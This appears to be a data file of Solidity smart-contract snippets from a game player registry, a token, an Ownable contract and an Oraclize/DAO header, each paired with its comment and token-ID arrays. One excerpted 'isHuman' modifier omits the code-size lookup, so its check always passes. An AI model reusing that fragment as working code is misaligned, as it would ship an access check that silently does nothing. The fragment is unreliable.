function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
// if names already has been used, require that current msg sender owns the name
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
// add name to player profile, registry, and name book
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// registration fee goes directly to community rewards
communityAddr.transfer(address(this).balance);
// push player info to games
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
// fire event
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
// set the new player bool to true
return (true);
} else {
return (false);
}
}
//==============================================================================
// _ _|_ _ _ _ _ | _ _ || _ .
// (/_>< | (/_| | |(_|| (_(_|||_\ .
//==============================================================================
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//==============================================================================
// _ _ _|_ _ .
// _\(/_ | |_||_) .
//=============|================================================================
function addGame(address _gameAddress, string _gameNameStr)
onlyCommunity()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyCommunity()
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by dddos
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | ============================================================================== _ _ _ _|. |`. _ _ _ . | | |(_)(_||~|~|(/_| _\ . (these are safety checks)==============================================================================* @dev prevents contracts from interacting with fomo3d/ | modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyCommunity()
| 1,544,836 | [
1,
9917,
26678,
377,
389,
389,
225,
389,
225,
389,
96,
18,
571,
8338,
389,
225,
389,
389,
225,
263,
565,
571,
571,
571,
24899,
21433,
67,
20081,
98,
96,
98,
96,
12,
18510,
96,
389,
64,
225,
263,
225,
261,
451,
3392,
854,
24179,
4271,
13,
9917,
26678,
225,
17793,
20092,
628,
16592,
310,
598,
284,
362,
83,
23,
72,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
27803,
6925,
1435,
288,
203,
3639,
1758,
389,
4793,
273,
1234,
18,
15330,
31,
203,
3639,
2254,
5034,
389,
710,
1782,
31,
203,
540,
203,
3639,
2583,
24899,
710,
1782,
422,
374,
16,
315,
2467,
1176,
29303,
634,
1338,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
565,
9606,
1338,
12136,
13352,
1435,
7010,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x4D0993e02c590439cD6866AEa87F53C575531f9D/sources/WAXEERC20UpgradeSafe.sol | * @dev Vanilla upgradeable {ERC20} "WAXE" token, including: - 3.7 million preminted tokens/ | contract WAXEERC20UpgradeSafe is Initializable, ContextUpgradeSafe, ERC20UpgradeSafe {
function initialize(address escrow) public initializer {
ERC20UpgradeSafe.__ERC20_init("WAX Economic Token", "WAXE");
_setupDecimals(DECIMALS);
_mint(escrow, INITIAL_SUPPLY);
require(totalSupply() == INITIAL_SUPPLY, "WAXE: totalSupply must equal 3.7 million");
}
}
| 15,472,677 | [
1,
58,
26476,
8400,
429,
288,
654,
39,
3462,
97,
315,
59,
2501,
41,
6,
1147,
16,
6508,
30,
225,
300,
890,
18,
27,
312,
737,
285,
23020,
474,
329,
2430,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
678,
2501,
41,
654,
39,
3462,
10784,
9890,
353,
10188,
6934,
16,
1772,
10784,
9890,
16,
4232,
39,
3462,
10784,
9890,
288,
203,
203,
203,
203,
565,
445,
4046,
12,
2867,
2904,
492,
13,
1071,
12562,
288,
203,
3639,
4232,
39,
3462,
10784,
9890,
16186,
654,
39,
3462,
67,
2738,
2932,
59,
2501,
512,
591,
24721,
3155,
3113,
315,
59,
2501,
41,
8863,
203,
3639,
389,
8401,
31809,
12,
23816,
55,
1769,
203,
3639,
389,
81,
474,
12,
742,
492,
16,
28226,
67,
13272,
23893,
1769,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
422,
28226,
67,
13272,
23893,
16,
315,
59,
2501,
41,
30,
2078,
3088,
1283,
1297,
3959,
890,
18,
27,
312,
737,
285,
8863,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x24a876D2b70F8Cb4A6f7C9C491b916a2d77161B6/sources/browser/GRAVYToken.sol | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
| 9,653,169 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
14223,
6914,
353,
1772,
288,
203,
565,
1758,
1071,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
97,
203,
565,
3885,
1832,
2713,
288,
203,
3639,
1758,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
1234,
12021,
1769,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
24899,
8443,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
1758,
12,
20,
10019,
203,
3639,
389,
8443,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
394,
5541,
1769,
203,
3639,
389,
8443,
273,
394,
5541,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/97/0xDb27f83Fe37AfC3d85b96271200eD4EF8D9AFc73/sources/contracts/AtarStaking.sol | These are token locking periods; we may also enter a number of seconds here
| uint256[7] public Duration = [30 days, 60 days, 90 days, 180 days, 365 days, 730 days, 1095 days]; | 5,018,435 | [
1,
29690,
854,
1147,
18887,
12777,
31,
732,
2026,
2546,
6103,
279,
1300,
434,
3974,
2674,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
63,
27,
65,
1071,
4822,
273,
306,
5082,
4681,
16,
4752,
4681,
16,
8566,
4681,
16,
9259,
4681,
16,
21382,
4681,
16,
2371,
5082,
4681,
16,
1728,
8778,
4681,
15533,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
This file is part of the DAO.
000000000000000000000000bb9bc244d798123fde783fcc1c72d3bb8c189413
Account 0xB3267B3B37a1C153Ca574c3A50359f9d1613F95d
dthPool 0xB256D572885A5246DDbF548F39da57f5f8074b9a
Hello all! I just deployed the first DTHPool (Delegate) in the real net.
The delegate in this contract is myself. My intention is not to be a stable delegate but to construct a repository of delegates where DTH’s can choose.
I tested to delegate and undelegate some tokens. I also set up the votes for the proposals made to the DAO until now.
If any body wants to delegate me some tokens, he will be wellcome!. You can also check the votes set up and his motivations.
I'll appreciate any feedback.
If any body wants to be a delegate, I’m absolutely open to help him to deploy the contract.
The DAO is free software: you can redistribute it and/or modify
it under the terms of the GNU lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The DAO is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
along with the DAO. If not, see <http://www.gnu.org/licenses/>.
*/
/*
This file is part of the DAO.
The DAO is free software: you can redistribute it and/or modify
it under the terms of the GNU lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The DAO is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU lesser General Public License for more details.
You should have received a copy of the GNU lesser General Public License
along with the DAO. If not, see <http://www.gnu.org/licenses/>.
*/
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
address oraclizeAddr = OAR.getAddress();
if (oraclizeAddr == 0){
oraclize_setNetwork(networkID_auto);
oraclizeAddr = OAR.getAddress();
}
oraclize = OraclizeI(oraclizeAddr);
_
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed);
return true;
